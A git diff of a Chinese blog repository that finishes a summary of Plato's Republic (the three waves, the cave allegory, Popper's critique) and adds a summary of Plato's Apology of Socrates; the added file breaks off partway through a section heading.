+他说很多年前，当雅典人开始在男性之中推行赤身裸体进行训练的时候，也有人批评这样有伤风化，但是当他们发现这样的举措确实有利于年轻人的训练，也就逐渐接受了这种方式，不再把它看做伤风败俗。可见，习俗并不是一成不变的，而是随着“好”这个最终标准变化的。而什么东西“好”其实是稳定的，有着比习俗更加坚实的基础，这个基础就是各种事物的“自然”，或者说“本性”。苏格拉底认为，男性与女性在自然或本性上就是平等的。 + +这个时候，又有人提出了问题：男性与女性在本性上真的是平等的吗？男性不是比女性力量更大吗？不是只有女性能生孩子吗？这些差别是不是能说明他们在本性上不平等呢？类似这样的问题，在今天关于女性主义的讨论里面，其实依然非常流行。苏格拉底承认这样的差别存在，但是认为这些差别与女性能不能和男性拥有同样的政治地位完全不相关。他举了一个例子，如果我们看到一个秃子是个木匠，另外一个有头发的人不是木匠，难道我们就可以从这个里边归纳出来，所有秃子都适合当木匠，所有有头发的人都不适合当木匠吗？这个显然不能嘛。在苏格拉底看来，力量稍微大点小点、生不生孩子、养不养孩子，跟你能不能上战场、能不能参与政治、能不能当城邦的统治者，没有任何关系。 + +这就是柏拉图在《理想国》里面提出的第一个浪潮——男性和女性在军事和政治上都是平等的。这在古代世界毫无疑问是非常颠覆性的观念，但是这个观点在古代世界也基本上是昙花一现，甚至在柏拉图晚期关于政治问题的著作《礼法》里面都没有再出现，柏拉图的学生亚里士多德更是明确反对男女在政治上的平等。基督教出现以后，夏娃是用亚当的肋骨创造的说法，更是强化了男女不平等的信念。“男女平等”这个观念再次变成人们热议的主题，至少要等到十八世纪了。 + +下面我们来看第二个浪潮。苏格拉底在《理想国》里提出的第二个浪潮是关于财产、女性和孩子的安排的，他提出了“共产、共妻、共子”的极端主张。这个主张是针对城邦中的护卫者的，他说这些人是城邦里面的中坚力量，他们不能拥有私人财产，因为一旦区分出“我的”“你的”，城邦中就会出现裂痕，人们就会倾向于争斗，人性之中合作的基本倾向，就会被竞争、嫉妒、自私的另一种基本倾向压倒。 + +柏拉图在这里的主张有些类似马克思说的“私有制是万恶之源”，只要消灭了私有制，把一切变成公有，人们就能最大限度地消除各种恶行。但是柏拉图走得更远，他不仅要求财产公有，甚至要求女性和孩子也公有，护卫者甚至不能有自己的家庭，不能有自己的妻子和孩子。 + +在这里，柏拉图笔下的苏格拉底再一次运用了狗的比喻，不过这次他是借用了人培育狗的例子。他说，我们要培育某些纯种的猎犬，这就意味着要保持这个种族里面最优秀的血统，我们会对狗的繁殖进行干预，不能让它们随便交配，而要让最纯种的公狗和尽可能多的纯种母狗交配，这样才能生下更纯正的后代。 + +苏格拉底说，在培养人的时候也类似。我们总是希望城邦里有尽可能多的优秀的人，借用之前那个“高贵的谎言”里的说法，就是我们总是尽量维持城邦中拥有金银灵魂的人的数量，保证他们的品质不被败坏。这样的话，我们就要尽量保证在金银等级内部进行繁衍，把战争里面最勇敢的、政治上表现最好的男性和女性挑选出来，让他们结合到一起，生下后代。 + +为了让他们有尽可能多的机会生下后代，苏格拉底甚至还设计出了另一种欺骗的手段，让其他人不会觉得太不公平。他说，我们表面上要用抽签的办法，决定哪些男人可以享有交配权，但是需要在这个抽签的机制上做些手脚，保证那些最优秀的男人总是能够中签，而且总是能够中很多签，这样能够保证我们城邦里面最良好的血统可以延续下去。有了这套做了手脚的抽签系统，那些没有中签的人，也不会去责怪统治者，而是会怪自己命不好。 + +在这个“美丽城”里，不仅妻子不是自己的，孩子也不是。苏格拉底规定，孩子一生出来要立刻抱走，甚至不给父母任何机会去见孩子，或者记住孩子的胎记，不给他们任何机会辨认自己的孩子。然后城邦把这些孩子集中到一起，由专人来负责抚养和教育。这么做的目的，和前面说到的关于财产的规定目的是一样的，都是要保证人们不能有任何“我的”和“你的”这样的区别。 + +因为根据人之常情，如果我可以确定一个孩子是我自己的，那么我就很自然地会对这个孩子给予更多的关注、更多的爱，日后也会倾向于把更多的资源，不管是金钱、荣誉，还是政治地位，传给我自己的后代。苏格拉底的这个孩子公有的政策，就是想要保证儿女私情不会干扰城邦的正常运转。而且在他看来，所有的孩子都管大自己一辈的人叫父亲母亲，这些大人也叫这些孩子儿子女儿，孩子之间都是兄弟姐妹，这样一来，整个城邦就会像一个大家庭，从而消除矛盾的根源。 + +这就是柏拉图提出的第二个颠覆性的“浪潮”——共产、共妻、共子。在他看来，私有制是一切罪恶的源泉，最好的城邦就是所有的人对所有的东西，都说这是“我们的”，人们有完全一致的想法，而不去区分“我的”和“你的”。一旦这样的区分出现，本来是一个整体的城邦，就会分裂成很多个城邦，理想的政治安排也就一定会土崩瓦解。 + +前面这两个主张在古希腊，绝对算得上是离经叛道了，但是这还不算完，苏格拉底说第三个“浪潮”才是最大、最凶的浪潮，有可能会把他淹死在嘲笑和恶名之中。这个浪潮就是“哲人王”，也就是我们在解读《理想国》的第一期音频里提到的，哲学与政治权力的结合，要么让哲学家拥有政治权力，要么让当权的统治者成为哲学家。苏格拉底不仅说这个浪潮是最大、最危险的，而且还说这个是最重要的，只要这一条实现了，前面两个浪潮就能够很顺畅地实施了，城邦也就最容易走上正轨。 + +但是在希腊人看来，让哲学家当国王，完全是滑天下之大稽！因为哲学家在人们心目中的形象都是非常高冷的，不食人间烟火，整天讨论一些奇奇怪怪的事情，比如世界是由水还是火构成的、风雨雷电的本质到底是什么、死亡和灵魂的本质是什么等等。这些哲学家甚至还经常显得缺少正常生活的能力。 + +据说第一个哲学家泰勒斯有一次夜观天象，光顾着思考天上的事情，结果没看脚下，掉到了一个大坑里，还被从旁边路过的女奴讥笑了一番，这就是希腊人心目中哲学家的典型形象。但是在这里，苏格拉底却说，唯有让哲学与政治权力结合，才能解决政治生活中的各种弊病，才能建立理想的城邦。 + +在这里，你肯定会问：哲学家凭什么可以拥有政治权力？他们怎么可能行使好政治权力？这也是苏格拉底的对话者提出的问题。苏格拉底给出了一系列的比喻，来回答这个既非常公平又非常困难的问题。我们来看看其中最精彩的两个：**太阳的比喻和洞穴的比喻**。 + +我们首先来看太阳的比喻。我们之前在讲《会饮》的时候，讲到过柏拉图著名的“理念论”。大体上就是说有“两个世界”，一个是我们身边这个可感的、流变的世界，我们不可能把握到它的真正本质；在这个世界之外，还有一个和这个可感世界分离的世界，那就是“理念的世界”。这些理念是永恒不变的，只能用理智来认识。可感世界里面的东西之所以成为某个东西、具有某个性质，都是因为有了另一个理念世界中的理念。如果认识到了这些理念，那么也就更好地认识了周围的这个可感世界，因为这个世界里的东西都是理念世界不完美的“仿制品”。 + +在《理想国》里，苏格拉底说，在所有的理念之上，还有一个最高的理念，它就是“好的理念”或者“善的理念”。这个“好的理念”的地位，就像太阳在我们这个世界中的地位。我们可以看到这个世界上的事物，都是因为有光亮，而太阳是一切光亮的源泉；我们周围的事物可以生长孕育，也是因为太阳，太阳是一切生命的最终源泉。这个“好的理念”就像太阳，它是一切理念和事物得以存在的原因，也是一切理念和事物可以被认识的原因，还是一切理念和事物有价值的原因。 + +哲学家的终极目标就是要认识这个“好的理念”。如果哲学家真的实现了这个目标，也就意味着哲学家同时认识了一切理念、一切具体事物，因为这些东西都分有了好的理念。如果哲学家认识了这个“好的理念”，他也就知道了什么东西对于一个城邦、对于某个人是最好的，那么很自然，这个哲学家也就有了充分的理由成为统治者，因为只有他能够知道并且给城邦里的所有人分配最好的东西。这个是哲学家能够进行统治的根本原因，也是之前“美丽城”里面那些看起来很奇怪的制度安排的终极原因。 + +下面我们再来看洞穴的比喻，这是所有四个比喻里面最有画面感的，也是最著名的，它也成了很多艺术家创作的灵感。在今天节目下面的文稿里，有一幅荷兰画家塞勒达姆的版画，就描绘了他理解的柏拉图的“洞穴”。 + +这个洞穴的比喻把城邦比作一个暗无天日的洞穴，城邦中的居民就像囚徒一样被关在洞穴里，他们被绑上了锁链，坐在某个地方，不能随意走动，甚至不能随意转头，只能面对着洞穴前面的墙壁。在他们身后的高处，点着一团火，这是整个洞穴里唯一的光源，在这团火和囚徒之间，有一堵矮墙，墙的后面有一些人举着一些雕塑，展示各种事物，比如动物、植物、人，各种活动，这些雕塑的影子被投射到囚徒面前的墙上。这些囚徒整天就看着这些影子，以为自己看到的就是真实的世界，他们还会彼此竞争，比谁认出的影子更多、谁认得更准、谁更清楚地记得影子出现的顺序等等。从我们这个外在的视角看，这种生活当然非常悲惨，就是我们说的“井底之蛙”的状态。但是在苏格拉底看来，这就是几乎所有城邦中的现实，政治家传递给民众的就是这些虚假的幻象，还通过各种洗脑，让民众以为这就是全部真相和现实。 + +这时候，有一个囚徒被松开了捆绑，被强迫着站了起来，然后被强迫着回过头去观看那团火光，认清雕塑与影子之间的区别，之后他又被强迫着走上那条通往洞口的崎岖的上坡路，直到走出洞穴，看到真实的世界，真实的动物和植物，最终通过更多训练，他看到了真正的光源——太阳。这个过程确实充满了强迫和痛苦，因为它意味着这个囚徒要被带着离开自己熟悉的环境，逐渐适应那些自己之前从来没有看过、想过的事情，这是“三观”的一次天翻地覆的变化。但是，当他经过了这样一次彻底的“认知升级”之后，他就会意识到自己之前有多么无知，之前的生活有多么悲惨。 + +这里讲的就是哲学家与其他人的不同，哲学家就是那个走出了洞穴，看到了真实世界的囚徒，那些真实世界里面的东西就相当于“理念”，而那个洞穴外面的太阳就相当于“好的理念”，一切光亮和存在的源头。当这个哲学家看到了真实的世界之后，自然会对洞穴里面那些火光、雕塑、墙上的影子有更清晰的认识。但是假如这个人回到洞穴，试图告诉洞穴里面的囚徒，“你们看到的东西都是假的，外面还有一个更真实的世界，你们需要彻底改变现在的生活方式”，那些一辈子生活在洞穴里，习惯了这种生活的囚徒会相信他吗？肯定不会啊。他们反而会嘲笑他，认为他胡说八道、危言耸听。假如这些囚徒能够自由活动，他们还会让他闭嘴，甚至不惜杀掉他以绝后患。 + +这个走出洞穴的囚徒回到洞穴以后的命运，就是苏格拉底的写照。苏格拉底认识到了自己的无知，认识到了人不该满足于日常的那些虚假的意见，而应该探索事物的真正本质，但是当他试图回到雅典这个政治社会，这个“洞穴”，用自己不懈的努力告诉雅典人，你们之前的生活是不值得过的时候，他却遭到了雅典人的死刑判决。建立由“哲人王”统治的“美丽城”，就是为了避免苏格拉底的悲剧再次上演。理念论，是柏拉图对于苏格拉底提出的，关于事物本质的哲学问题的终极解决方案；而基于理念论的美丽城，则是柏拉图对于导致苏格拉底之死的，那个政治问题的终极解决方案。 + +在讲完了这个洞穴的比喻之后，格劳孔提出了一个重要的问题：让走出了洞穴的哲学家再回到洞穴进行统治，岂不是让他们过更差的生活吗？这些哲学家看到了美好的真实世界，为什么还要回到那个暗无天日，甚至可能给自己带来死亡的洞穴呢？走出洞穴的哲学家有什么动机回到洞穴的问题，是整部《理想国》里面最难回答的问题之一。 + +苏格拉底承认，比起待在洞穴外面的生活，回到洞穴确实是更差的。但是他说，这些哲学家会因为“正义”的要求回到城邦，因为这些哲学家是被城邦培养起来的，城邦给了他们教育，他们认识了真理之后，就应该报答城邦对他们的生养和教育，所以他们要回到城邦。 + +这是柏拉图借苏格拉底之口提出的唯一一个原因。但是我们如果仔细思考，还可以给出另外两个可能的原因。一个是，我们在之前解读苏格拉底反驳智者特拉叙马库斯的时候看到的。在那里苏格拉底说，好人明明不愿意进行统治，但是可能因为害怕“惩罚”而进行统治，这里的“惩罚”就是指被不如自己的人统治，从而忍受很糟糕的政治秩序。比如说，城邦的统治者如果禁止在城邦里讲授哲学，就像雅典人总是希望苏格拉底闭嘴那样，哲学家的生活将会非常困难，这或许可以迫使他们从事自己并不想从事的统治。 + +还有另一个可能的原因，那就是我们在苏格拉底身上看到的，他整天跟雅典人讨论哲学问题，并不是因为想要报答雅典的养育之恩，也不是因为雅典的法律已经禁止他讨论哲学，他想要进行抗争，而完全是出于对城邦和同胞的爱，他认识到了接受检审的人生、追求智慧的人生远远好过追求金钱荣誉这些身外之物的人生，他希望所有人都能过上更好的生活，才舍弃了自己的小家，每天和遇到的人讨论灵魂的德性，这就是哲学家的“博爱”。 + +回答了哲学家回到洞穴的动机问题，还有另一个困难的问题等着我们。就算哲学家有动机回到洞穴，洞穴里面的那些囚徒为什么会让哲学家进行统治呢？那些囚徒如果有机会自由活动，不就会杀死这个回到洞穴的哲学家吗？在整部《理想国》里，柏拉图都没有很明确地回答这个问题。他只是说，按道理讲，人们应该请求哲学家来统治他们，就像病人应该请求医生给自己看病一样。在另一个地方，他还提到了一个可能的解决方案：说服大众，让他们承认自己确实不如哲学家，让他们耻于统治哲学家，之后心甘情愿地让哲学家统治自己。但是这条路是不是能走通，我们也并不确定。苏格拉底大半辈子的谈话都证明了，他的那些雅典同胞在智慧上不如自己，但是这些雅典人并没有耻于统治苏格拉底，甚至没有耻于判处苏格拉底死刑。因此这条路是不是能走通，我们还是并不清楚。 + +这就是第三个浪潮，要让哲学家成为这个城邦中的统治者或者国王。苏格拉底特别用太阳和洞穴的比喻，说明了哲学家了解的东西确实和别人不同。太阳的比喻是说哲学家了解了理念的世界，尤其是“好的理念”，因此认识了其他一切事物的终极原因和终极的好。洞穴的比喻强调，哲学家如何脱离了代表政治的洞穴，走到洞穴外面，看到真实的世界和太阳，从而更能够告诉洞穴里面的人什么是更好的生活。不管怎样，哲学家对于真理和真相的认识，尤其是他们对于“好的理念”的认识，能够让他们成为最好的统治者。但是他们回到洞穴的动机却并不是非常清楚，假如他们回到洞穴，洞穴里的那些囚徒为什么会愿意让他来统治，也同样并不清楚。 + +## 总结 + +到这里，我们就把《理想国》的核心内容解读完了，我们来系统回顾一下。 + +首先在第一部分的音频当中，我们说到了《理想国》的写作背景，以及它和柏拉图政治实践的关系。希腊世界的政治动荡，以及苏格拉底被雅典同胞判处死刑，让柏拉图坚信，那个时候的现实政治无一例外都是糟糕透顶的，想要改变这种局面，只有让哲学与政治权力结合到一起。这个终极解决方案既是柏拉图在《理想国》里面详细展开讨论的，又是他三次前往叙拉古试图在现实中推进的。最终，虽然他的政治实践以失败告终，但他的政治理论却成了哲学史上的永恒经典。 + +之后，我们解读了《理想国》开篇的戏剧性对话。看到了苏格拉底在探寻正义本质的过程中要面对的三重困难，它们分别认为正义是“欠债还钱”的习俗观点，认为正义是“强者的利益”的现实主义观点，以及认为正义是“强者和弱者的妥协”的契约论观点。苏格拉底相对比较成功地反驳了前两种观点，但是承认这第三种观点非常难以反驳。那么，如何反驳第三种观点，证明正义并不是在最好和最坏情况之间的折中，并不是一种为了奖赏的功利计算，就成了《理想国》接下来的全部内容。 + +在第二部分当中，我们讲到面对格劳孔和阿德曼图斯提出的挑战，苏格拉底选择了“曲线救国”的策略，他没有直接回答灵魂中的正义是什么，而是引入了灵魂与城邦之间的类比关系。首先去看城邦的正义这个更大的字，然后再去寻找灵魂中的正义这个更小的字。苏格拉底讨论城邦正义的方式是从城邦起源讲起，他讲到了人对彼此的需要，以及分工提高效率这两个原则，之后构建起了一个只满足人们基本需要的“健康的城邦”。但是因为人的欲望总是没有止境，这个“健康的城邦”被格劳孔发展成了“发烧的城邦”。在这个“发烧的城邦”转变成“理想城邦”或者“美丽城”的过程中，苏格拉底制定了护卫者的教育，“高贵的谎言”等一系列维护这个城邦的手段。 + +在这个言辞中的“美丽城”建成之后，苏格拉底找到了其中的智慧、勇敢、节制和正义这四种主要的德性，正义就是这个城邦的三个等级，统治者、护卫者和生产者，各司其职、各安其位。之后，苏格拉底表明，灵魂的结构和城邦的结构相同，也由三个部分组成，理性、意气和欲望，这三个部分各司其职、各安其位，都接受理性的统治，就是灵魂中的正义。利用灵魂与城邦之间的类比，苏格拉底就回应了格劳孔和阿德曼图斯提出的挑战，证明了正义就是灵魂本身的良好状态，类似于健康，因此就算没有任何外在的奖赏，正义本身也是我们应该追求的对象。 + +在第三个部分当中，苏格拉底和一群朋友彻夜讨论“正义的本质”，他首先面对的是三种对正义的不同理解，它们分别是认为正义是“欠债还钱”“扶友损敌”的通常理解，认为正义是“强者的利益”的现实主义理解，以及认为正义是“强者与弱者之间妥协”的契约论理解。面对第三个挑战，苏格拉底没有直接回答，而是引入了灵魂与城邦的类比来进行说明，他论证了城邦和灵魂里面都有三个等级，它们在正确的领导下各居其位、各司其职就是正义。正义就是城邦和灵魂的健康，因此即便没有任何外在的奖赏，也值得我们追求。在朋友的逼问下，苏格拉底又讲起了理想城邦的一些具体安排，提出了非常具有颠覆性的“三个浪潮”，也就是男女平等、“共产共妻共子”和“哲人王”，他花了尤其多的篇幅来讨论哲学家为什么应该当王。 + +关于《理想国》，20世纪的哲学家波普尔曾经提出批评，说它是集权主义的祖师爷。其实，柏拉图在提出“三个浪潮”的时候，就已经预见到了这些学说会招来人们的口诛笔伐，因此我们也不难理解以波普尔为代表的很多人，会对《理想国》深恶痛绝。 + +确实，如果我们强调《理想国》里面关于三个阶层的划分、护卫者教育里面那些严格的审查、各种谎言，还有“共产共妻共子”的极端安排，这个“美丽城”确实有很强的集权主义味道。但是，如果我们把这些放到柏拉图整体的思想脉络里面，并且强调洞穴的比喻，柏拉图又恰恰是集权主义的反面，他想要反对的正是各种现实政治中的意识形态控制，他想要以真理为最终的依据。而且我们也不要忘了，《理想国》里面讨论的这些政治安排，是作为探讨灵魂正义的参照提出的，柏拉图最终还是继承了苏格拉底对于灵魂的至高关注，在这个意义上，批评他是集权主义的祖师爷就更不合适了。这种总是能够引发人们进一步思考和争论的特征，也正是《理想国》这部哲学经典至今依然保持着永恒魅力的原因。 + +# 参考 + +得到 \ No newline at end of file diff --git a/_posts/2021-05-08-549-SocratesDefense.md b/_posts/2021-05-08-549-SocratesDefense.md new file mode 100644 index 0000000..32acd01 --- /dev/null +++ b/_posts/2021-05-08-549-SocratesDefense.md @@ -0,0 +1,119 @@ +--- +layout: post +title: 苏格拉底的申辩 +pid: 549 +tags: [哲学] + +--- + +# 关于作者 + +柏拉图，苏格拉底最著名的弟子，正是他最早将“哲学”（philosophia）一词转变成为术语。他写作了大量对话，基本上都以苏格拉底为主人公，但并不一定都是如实记录苏格拉底的言行，很多是他自己对各种哲学问题的思考。 + +# 关于本书 + +《苏格拉底的申辩》记载了苏格拉底在面对雅典同胞对他的指控时所做的辩护，是我们回答“苏格拉底问题”最好的切入点。 + +这部作品既是哲学史也是文学史上的著名篇章，苏格拉底对自己的使命和哲学的本质做了经典的描述，说出了“**未经检审的人生是不值得过的**”这样掷地有声的名言，他为了哲学主动求死的气魄感染着一代又一代哲人毫不畏惧地追求智慧。 + +# 核心内容 + +为你还原苏格拉底申辩的现场，并且解释了三个问题：第一，苏格拉底为什么会被起诉；第二，苏格拉底为什么认为自己无罪；第三，苏格拉底为什么用一种自寻死路的方式为自己辩护，同时他面对死亡为什么会如此淡然。 + +# 前言 + +你好，欢迎每天听本书。今天为你解读的书叫《苏格拉底的申辩》，这是西方哲学的一本经典书，我会用大约27分钟的时间，为你讲述这本书的精髓：怎样理解苏格拉底和他一生的哲学理想。 + +提到苏格拉底这个名字，你可能并不陌生，假如要你说出几位“哲学家”，苏格拉底大概是你想到的前三个名字之一。不仅仅是因为他很有名，还因为他标志着哲学史上的一次重大转向。 + +为什么这么说呢？因为在苏格拉底之前，比如泰勒斯、赫拉克利特、巴门尼德、毕达哥拉斯这些哲学家，他们关心的主要是自然的问题，比如世界是由什么构成的？世间万物是如何生成变化的？风雨雷电是怎么产生的？他们被称为“自然哲学家”，也就是说他们对人以及人生问题的关注并不是很多。古罗马的哲学家西塞罗曾经说，苏格拉底第一次将哲学从天上唤到人间，让哲学去探寻善恶之类的问题，因此苏格拉底标志着哲学史上的一次重大转向，从自然到人生的转向。所以，要了解西方哲学家的思想，你有必要先来听听苏格拉底。 + +但是想要真正回答苏格拉底是谁？他做了什么？他有什么样的思想？其实是一个非常困难的问题，因为苏格拉底是一个“述而不作”的典范，也就是说他一辈子没有写下任何文字，这一点经常被拿来和孔子、耶稣基督和佛陀进行比较。因此我们只能从他同时代人和弟子的不同记载中去探寻苏格拉底其人，而这些人笔下的苏格拉底形象又大相径庭，比如喜剧作家阿里斯托芬笔下的苏格拉底就是一个整天和跳蚤为伍，教导弟子研究一些稀奇古怪的东西，颠覆传统、颠倒是非的家伙；而柏拉图和色诺芬笔下的苏格拉底则是标准的正人君子，但是在柏拉图那里苏格拉底更像是一个纯粹的哲学家，不管不顾，总是要打破砂锅问到底，而色诺芬笔下的苏格拉底就更接地气，喜欢给周围的人提一些日常生活中的建议。**正是因为这些不同的记载，哲学史上就有了那个著名的“苏格拉底问题”，也就是说，苏格拉底到底是什么样的人，恐怕没人能说清。对这个问题的不同回答也成了哲学史家们争论的战场。** + +所以《苏格拉底的申辩》这本书就变得很重要，因为如果说我们还有一条相对可靠的线索去回答“苏格拉底问题”，那就是我们今天要讲的《苏格拉底的申辩》。苏格拉底在七十岁高龄的时候被自己的同胞公民起诉，柏拉图的这部作品就记载了苏格拉底在法庭上，为自己做的辩护演讲，当时至少有500多个雅典人在场见证，我们也就有理由相信，柏拉图这里的文字很可能不会与苏格拉底实际说的话有太大出入。柏拉图在这部作品里集中展示了苏格拉底一生的哲学思想和哲学生活，因此是我们了解苏格拉底其人，和回答“苏格拉底问题”的最佳途径。 + +今天这期音频。我就为你还原当时当地，苏格拉底申辩的现场，并且解释三个问题：第一，苏格拉底为什么会被起诉？第二，苏格拉底为什么认为自己无罪？第三，苏格拉底为什么用一种自寻死路的方式为自己辩护，同时他面对死亡为什么会如此淡然？ + +# 第一部分 + +下面，我就给你说说这场著名的审判和申辩。在这部分，苏格拉底说明了自己遭人怨恨的起因，也就是要回答“我为什么会被起诉？”苏格拉底在辩护演讲的一开始，就把自己和指控者甚至是和大数雅典人都对立了起，这其实已经在很大程度上预示他自愿求死的决心和态度。他说指控者们很年轻，他们的演讲经过仔细的修饰、非常漂亮、听起来也很有说服力，但却满是谎言，这些特征恰恰就是雅典民主制度下，人们最喜欢的那种演讲风格，华丽、新奇、有感染力。而他自己年事已高，却是这辈子第一次上法庭，没有任何经验，他也不会用经过仔细打磨的话语试图说服法官，而是用自己惯常的方式说话，但是自己说的全是真话。 + +苏格拉底被自己的同胞告上法庭，两项罪名分别是**不信城邦的神**和**败坏青年**。可能有朋友会问，不信城邦的神和败坏青年算是什么罪名？这两项罪名在雅典可都不是小事，甚至都不算是私人案件，而是由雅典公民代表城邦“公诉”苏格拉底。 + +在苏格拉底看来，整个事件的起因是他的朋友凯瑞丰很多年前到德尔菲的阿波罗神庙求神谕，凯瑞丰问阿波罗神的祭司：“是不是有人比苏格拉底更有智慧？”结果祭司回答说“没有”。在古希腊，人们大多是非常迷信的，凡是遇到什么重大的事情，都会去求神问卜，而在所有求神谕的地方里面，德尔菲的阿波罗神庙地位最高，这里的女祭司就是代神立言的人，被认为对世事拥有至高的权威。苏格拉底得知祭司的这个回答之后，感到非常诧异，因为他明明知道自己其实非常无知，而神却说没有人比自己更加有智慧。苏格拉底非常困惑，他想要在雅典找到比自己更加有智慧的人，然后告诉神，“你看，他就比我更有智慧”，由此证明神是错的。 + +之后苏格拉底就开始走访那些拥有“智慧”之名的人，他特别提到了政治家、诗人和工匠，此外还有每一个愿意和他讨论问题的人，不论男女老少，不论是雅典人还是外邦人，甚至不论是自由人还是奴隶。但是每一次苏格拉底都是失望而归，他发现，越是那些被人们认为拥有智慧的人，其实越是无知，反倒是经常被人看不起的工匠们，确实知道和自己的手艺相关的一些事情，但是如果他们想超出自己的手艺谈论其他事情，又会陷入无知之中。 + +经过这样一番检审，苏格拉底终于相信了，阿波罗神，或者说代神立言的祭司，并没有欺骗他，神之所以说他比其他人更加有智慧，恰恰是因为只有他知道自己是无知的，这就是苏格拉底著名的“无知之知”，或者说是那句听起来有些悖论味道的苏格拉底格言：“我唯一知道的就是我一无所知”（ἓν οἶδα ὅτι οὐδὲν οἶδα）。苏格拉底认为神这么说其实是想要告诉人们，人的所谓“智慧”和神相比不值一提，因为所谓“最智慧的人”，不过是唯一一个清楚地认识到自己无知的人。 + +苏格拉底在和各色人等讨论，揭露他们的无知的过程中，自然是树敌无数，因为苏格拉底让很多自命不凡的人当众出丑，而那些围观的年轻人也很愿意用苏格拉底讨论问题的方式再去检验别人，让更多人出丑。这些被苏格拉底和效仿苏格拉底的年轻人揭下了智慧的面具的人，自然对苏格拉底怀恨在心，这些积怨最终在公元前399年爆发，引来了人们对苏格拉底的正式指控。 + +# 第一部分 + +说到这里，你可能会好奇，苏格拉底到底是怎么揭露其他人的无知的呢？柏拉图的很多作品描绘的其实都是苏格拉底怎么和别人讨论问题。我这里就给你说一个例子，是苏格拉底和游叙弗伦关于虔诚的讨论。 + +在苏格拉底被起诉的当天，他遇到了一个占卜师，这个人叫游叙弗伦。这个人正好去起诉自己的父亲杀死了一个奴隶。和中国的传统观念相似，起诉自己的父亲在雅典人看来也是一件非常奇怪，非常不孝顺，甚至非常不虔诚的事，但是游叙弗伦却对自己的指控充满自信，认为自己作为占卜师，知道神希望我们做什么，知道虔诚到底意味着什么。于是苏格拉底就假惺惺地跟游叙弗伦说，“哎呀，太好了，你简直是我的大救星啊，我正好被人起诉‘不敬神’，如果你能告诉我应该如何信神、什么才是‘虔诚’就再好不过了。”之后苏格拉底就开始和游叙弗伦讨论“虔诚是什么？” + +游叙弗伦试图解决“虔诚是什么？”的第一次尝试是给出一些例子，但是苏格拉底坚持让他给出普遍性的论述或者说普遍性的定义。然后，游叙弗伦说“虔诚就是做神喜欢的事”。苏格拉底继续问道，根据神话，各种神喜欢的东西并不一样，比如在特洛伊战争中，有些神支持希腊人，有些神支持特洛伊人，那么我们怎么能知道神喜欢什么呢？ + +随后，游叙弗伦再次尝试，说“虔诚就是做所有神都喜欢的事”。苏格拉底继续考察这个说法是不是正确，在这里他提出了一个著名的问题：“**是因为一件事情虔诚，所以神喜欢呢；还是因为神喜欢一件事情，所以它是虔诚的呢？**”这就是在哲学和神学史上都非常著名的“游叙弗伦问题”。他们的结论倾向于前者，也就是“因为一件事情虔诚，所以神喜欢。”这样一来，说“虔诚就是做所有神都喜欢的事”就不对了，而且他们还是要继续讨论，确定“虔诚到底是什么？”。 + +这个时候游叙弗伦想要放弃，但是苏格拉底从来不会轻易放弃。他又帮助游叙弗伦做出了一次尝试，这次把虔诚说成是“正义里面与关照神有关的那个部分”。在得出了这个定义之后，苏格拉底继问道，神那么完美，我们能为神做些什么从而“关照神”呢？游叙弗伦只好说，虔诚会让神高兴和喜欢。于是讨论又回到了那个著名的“游叙弗伦问题”：到底是因为神喜欢所以虔诚，还是因为虔诚所以神喜欢？ + +苏格拉底三下五除二就在辩论中胜过了自信满满的游叙弗伦，证明游叙弗伦其实并不知道“虔诚是什么”，同时也暗示他起诉自己的父亲，其实并不像他自己认为的那样正当，于是游叙弗伦只好借故说自己还有事，仓皇离开。说到这里，可能你会觉得要停下来好好想一想才能明白这其中的逻辑，因为确实，在哲学里充满了这种复杂的逻辑推理，你可以点开音频下方的“文稿”按钮，查看文字笔记，它或许可以更好地帮你理解这个推理过程。 + +苏格拉底就是用这种被称为“诘问法”或“辩证法”的方式和各种各样的雅典人、外邦人讨论问题，从而表明他遇到的所有人都配不上“智慧”之名。 + +# 第三部分 + +我们再回到苏格拉底的辩护演讲。在解释完为什么有很多人对他抱有敌意之后，苏格拉底开始论证自己完全无罪。在这里，苏格拉底正式迎接当前的两项指控——也就是不信城邦的神和败坏青年。他首先用他惯用的方式，也就是类似他考察游叙弗伦的方式，和最主要的原告梅里图斯（Meletus）进行了简短的辩论，很轻易地就证明了梅里图斯其实头脑混乱，对于起诉苏格拉底的两项罪名并没有充分的了解，他也并不是真正关心城邦，关心青年的教育。 + +随后，苏格拉底对自己的哲学生活进行了经典的辩护，表示即便死也不会改变自己的生活方式。在这里，他给出了一个非常经典的论证，来说明我们不该惧怕死亡，这个论证是这样的，因为活着的人还没有经历到死亡，而已经死了的人没有办法告诉我们死亡是什么样的，所以没有人确切地知道死亡到底是什么。这样一来，所谓的怕死，也就是把死亡当作一件坏事，苏格拉底认为这“不过是并不智慧而自以为智慧，就是自以为知道自己并不知道的事情。” + +苏格拉底在为自己的哲学生活方式辩护的时候，打了一个非常著名的比方，他把自己比作一只“马虻”（muōps），一生的使命就是不停地叮咬雅典这匹昏睡的骏马，让雅典和她的公民们保持警醒，让他们关注自己灵魂的健康——也就是各种德性或美德（aretē），而非外在的金钱、荣誉或者身体的享乐，因为严格说来，只有我们的灵魂才是真正的自我，我们可以因为疾病放弃自己的一部分身体，但是却绝对不能放弃自己的灵魂，因为灵魂是我们赖以为生的东西。 + +苏格拉底说，像他这样的“马虻”一定是神送给雅典人的礼物，因为像他这样不关心自己个人的生活、自己个人的家庭，而把全部精力投入到试图说服和教育雅典人关心自己的生活上的人，几乎找不到第二个。在他看来，自己不但无罪，还是雅典人的恩人，他东奔西跑，和遇到的各色人等讨论虔诚、节制、正义、勇敢之类的德性，都是为了这些人灵魂的健康，是为了让他们真正关心自己的生命。 + +从苏格拉底自己的话里面，我们可以看到，他其实很清楚，自己只要按照雅典人喜欢的方式说话和行事，就完全可以被无罪开释，但是他却自愿地选择了“作死”，选择坚持自己的理想和哲学的生活方式，不惜用生命和自己的祖国抗争到底。 + +至此，苏格拉底针对原告的指控为自己做的辩护也就结束了。我们来总结一下，在这部分里面苏格拉底主要讨论了两个问题，一个是“我为什么会被人指控？”，另一个是“我为什么无罪？”。在回答第一个问题的时候，苏格拉底认为自己遭到怨恨的原因在于他不断揭示人们的无知，而他把这样做的原因归结于自己多年前的一则神谕，也就是没有人比苏格拉底更加智慧，苏格拉底对此感到困惑，由此走上了考察别人是不是更智慧的道路，从此一发不可收拾，最终他虽然确认了神谕的正确，但是却在这个过程中得罪了很多人。在回答第二个问题“我为什么无罪？”时，苏格拉底认为，自己不但相信雅典人相信的神，而且就是神送给雅典的礼物；自己不但没有败坏青年，反而是雅典的恩人，不断警示人们不要自满，不要追求金钱荣誉这类身外之物，而是要真正关心自己的灵魂。 + +# 